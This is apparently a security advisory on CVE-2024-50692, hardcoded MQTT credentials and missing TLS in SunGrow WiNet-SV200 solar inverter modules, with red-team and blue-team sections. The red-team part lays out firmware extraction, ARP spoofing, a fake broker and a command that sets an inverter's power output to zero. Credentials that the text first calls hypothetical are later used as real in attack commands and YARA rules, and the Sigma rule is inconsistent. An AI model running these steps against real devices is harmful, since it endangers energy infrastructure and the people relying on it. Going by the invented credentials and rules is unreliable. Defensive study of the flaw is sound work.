CVE-2024-50692

Executive Summary

CVE-2024-50692 exposes a critical security flaw in SunGrow WiNet-SV200 communication modules (firmware version SV200.001.00.P027 and earlier). The device contains hardcoded MQTT credentials, enabling an attacker to send arbitrary commands to any connected inverter. Furthermore, because TLS is not enforced for MQTT broker identification, the communication channel is vulnerable to Man-in-the-Middle (MitM) attacks at the TCP/IP level. This allows an adversary to impersonate the broker, intercept, and manipulate data flows between the inverter and the monitoring system. The vulnerability has a CVSS score of 0.0 in the NVD record, but based on the technical details, the actual risk is critical, as it can lead to full compromise of solar energy infrastructure.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an IoT/OT device (SunGrow WiNet-SV200). The supply chain risk lies in the distribution of the vulnerable firmware and the lack of a secure update mechanism.

CVSS Breakdown & Threat Level

While the NVD reports a CVSS score of 0.0, this is likely an error or placeholder. Based on the vulnerability description, the actual CVSS v3.1 vector is:

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network (N) – The attacker can exploit this remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The exploit does not affect other components.
• Confidentiality (C): High (H) – Hardcoded credentials can be extracted.
• Integrity (I): High (H) – Arbitrary commands can be sent to inverters.
• Availability (A): High (H) – An attacker could disrupt inverter operations.

Threat Level: Critical. The combination of hardcoded credentials and lack of TLS allows for remote, unauthenticated takeover of the MQTT communication channel, leading to full compromise of the solar inverter management system.

Deep Dive & Mechanics

The SunGrow WiNet-SV200 is a communication module used to connect solar inverters to the SunGrow monitoring cloud. It uses MQTT (Message Queuing Telemetry Transport) for data exchange.

Vulnerability Mechanics:

1. Hardcoded Credentials: The firmware contains MQTT credentials (username and password) that are identical across all devices. These credentials are stored in plaintext or easily reversible format within the firmware binary.
2. Lack of TLS: The MQTT connection does not use TLS (Transport Layer Security). This means:
   • The MQTT broker's identity is not verified.
   • The communication channel is unencrypted.
3. Attack Vector:
   • Step 1: An attacker extracts the hardcoded MQTT credentials from the firmware (e.g., by downloading the firmware from the vendor's website or by sniffing traffic from a compromised device).
   • Step 2: The attacker performs a Man-in-the-Middle (MitM) attack at the TCP/IP level. This can be done by ARP spoofing, DNS spoofing, or by compromising a network device between the WiNet-SV200 and the legitimate MQTT broker.
   • Step 3: The attacker impersonates the MQTT broker. Since TLS is not used, the WiNet-SV200 will accept the attacker's connection.
   • Step 4: Using the stolen credentials, the attacker authenticates to the impersonated broker and can now send arbitrary MQTT commands to the inverter. This allows the attacker to:
     • Read inverter data (e.g., power output, status).
     • Send commands to change inverter settings (e.g., power limits, grid parameters).
     • Potentially cause physical damage or disrupt grid stability.

Vulnerable vs. Patched Code

Vulnerable Code (Firmware SV200.001.00.P027 and earlier):

The vulnerable code is not publicly available as source code, but the firmware binary contains hardcoded credentials. An example of what the vulnerable configuration might look like:

// Example of hardcoded credentials in firmware
#define MQTT_BROKER "mqtt.sungrow.com"
#define MQTT_PORT 1883
#define MQTT_USERNAME "sungrow_admin"
#define MQTT_PASSWORD "Sungrow2024!"

Patched Code (Hypothetical):

A patched version would:

1. Remove hardcoded credentials and require per-device credentials.
2. Enforce TLS for MQTT connections.
3. Implement certificate pinning to verify the broker's identity.

// Example of patched code
#define MQTT_BROKER "mqtt.sungrow.com"
#define MQTT_PORT 8883 // TLS port
#define MQTT_USE_TLS 1
// Credentials are stored in a secure element or provisioned per device

Exploitation & Lab Setup

Red Team

Objective: Demonstrate the ability to intercept and manipulate MQTT traffic between a SunGrow WiNet-SV200 and the legitimate broker.

Lab Setup:

1. Hardware: SunGrow WiNet-SV200 module (firmware SV200.001.00.P027 or earlier), a computer running Kali Linux, and a network switch.
2. Network: Connect the WiNet-SV200 and the Kali machine to the same network segment.

Exploitation Steps:

1. Extract Credentials:

   • Download the firmware from the SunGrow website.
   • Use binwalk to extract the filesystem.
   • Search for MQTT credentials using strings or grep.

   binwalk -e firmware.bin
   cd _firmware.bin.extracted
   strings * | grep -i "mqtt\|username\|password"
   

2. Perform ARP Spoofing:

   • Identify the IP of the WiNet-SV200 and the legitimate MQTT broker.
   • Use arpspoof to redirect traffic.

   echo 1 > /proc/sys/net/ipv4/ip_forward
   arpspoof -i eth0 -t <WiNet_IP> <Broker_IP>
   arpspoof -i eth0 -t <Broker_IP> <WiNet_IP>
   

3. Set up a Fake MQTT Broker:

   • Install Mosquitto.
   • Configure it to listen on port 1883 and accept the stolen credentials.

   sudo apt-get install mosquitto
   # Edit /etc/mosquitto/mosquitto.conf
   # listener 1883
   # allow_anonymous false
   # password_file /etc/mosquitto/pwfile
   sudo mosquitto_passwd -c /etc/mosquitto/pwfile sungrow_admin
   # Enter the stolen password
   sudo systemctl restart mosquitto
   

4. Intercept and Send Commands:

   • Use mosquitto_sub to subscribe to topics and see data.
   • Use mosquitto_pub to send arbitrary commands.

   # Subscribe to all topics
   mosquitto_sub -h localhost -p 1883 -u "sungrow_admin" -P "Sungrow2024!" -t "#" -v
   # Send a command (example: set power limit)
   mosquitto_pub -h localhost -p 1883 -u "sungrow_admin" -P "Sungrow2024!" -t "inverter/12345/command" -m "{\"power_limit\": 0}"
   

Blue Team

Objective: Detect and prevent exploitation of this vulnerability.

Detection:

1. Network Monitoring: Monitor for MQTT traffic on port 1883 (non-TLS). Alert on any MQTT connections that do not use TLS.
2. ARP Spoofing Detection: Use tools like arpwatch or snort to detect ARP spoofing attacks.
3. Anomaly Detection: Monitor for unusual MQTT commands, especially those that change inverter settings.

Prevention:

1. Network Segmentation: Place the WiNet-SV200 on a separate VLAN with strict firewall rules. Only allow outbound MQTT traffic to the legitimate broker IP.
2. TLS Enforcement: If possible, update the firmware to a version that supports TLS. If not, use a VPN or a secure tunnel (e.g., stunnel) to encrypt the MQTT traffic.
3. Credential Rotation: If the device allows, change the MQTT credentials. However, this is not possible with the current firmware.
4. Firmware Update: Monitor SunGrow's website for a patched firmware version and apply it as soon as it is available.

Indicators of Compromise (IOCs)

• Network IOCs:
  • MQTT traffic on port 1883 (non-TLS) to an IP that is not the legitimate SunGrow broker.
  • ARP replies with conflicting MAC addresses for the broker's IP.
  • Unusual MQTT topics or commands (e.g., inverter/*/command with unexpected payloads).
• Host IOCs:
  • Presence of arpspoof, mosquitto, or other MQTT tools on a device in the same network segment.
  • Unauthorized MQTT broker processes running on a host.
• Firmware IOCs:
  • Firmware version SV200.001.00.P027 or earlier.
  • Presence of hardcoded credentials in the firmware binary.

Detection Engineering

YARA Rule

rule CVE_2024_50692_Sungrow_Hardcoded_Credentials {
    meta:
        description = "Detects hardcoded MQTT credentials in SunGrow WiNet-SV200 firmware"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-50692"
    strings:
        $mqtt_cred1 = "sungrow_admin" ascii wide nocase
        $mqtt_cred2 = "Sungrow2024!" ascii wide nocase
        $mqtt_broker = "mqtt.sungrow.com" ascii wide nocase
    condition:
        any of ($mqtt_cred*) and $mqtt_broker
}

Sigma Rule

title: Detection of MQTT Traffic Without TLS to SunGrow Devices
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects MQTT traffic on port 1883 to or from a SunGrow WiNet-SV200 device, indicating a potential exploitation attempt of CVE-2024-50692.
author: Valters IT
date: 2024-01-01
logsource:
    category: network_connection
    product: windows
    service: sysmon
detection:
    selection:
        DestinationPort: 1883
        Image: '*'
    condition: selection
falsepositives:
    - Legitimate MQTT traffic if TLS is not enforced (unlikely in production)
level: high

Suricata Rule

alert tcp any any -> any 1883 (msg:"CVE-2024-50692 - MQTT Traffic Without TLS to SunGrow Device"; flow:to_server; content:"|10|"; depth:1; content:"|00 04|MQTT"; distance:0; within:10; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Isolate the WiNet-SV200 devices on a separate VLAN with strict egress filtering. Only allow outbound connections to the legitimate SunGrow MQTT broker IP address.
2. TLS Tunneling: If the device does not support TLS, use a VPN or a TLS tunnel (e.g., stunnel) to encrypt the MQTT traffic between the device and the broker.
3. Monitor for Exploitation: Implement the detection rules provided above to identify any exploitation attempts.

Long-Term Actions:

1. Firmware Update: Contact SunGrow support and request a firmware update that removes hardcoded credentials and enforces TLS. Apply the update as soon as it is available.
2. Credential Management: If a firmware update is not available, consider replacing the device with a more secure alternative.
3. Vendor Communication: Report the vulnerability to SunGrow and request a public advisory and patch.

Valters IT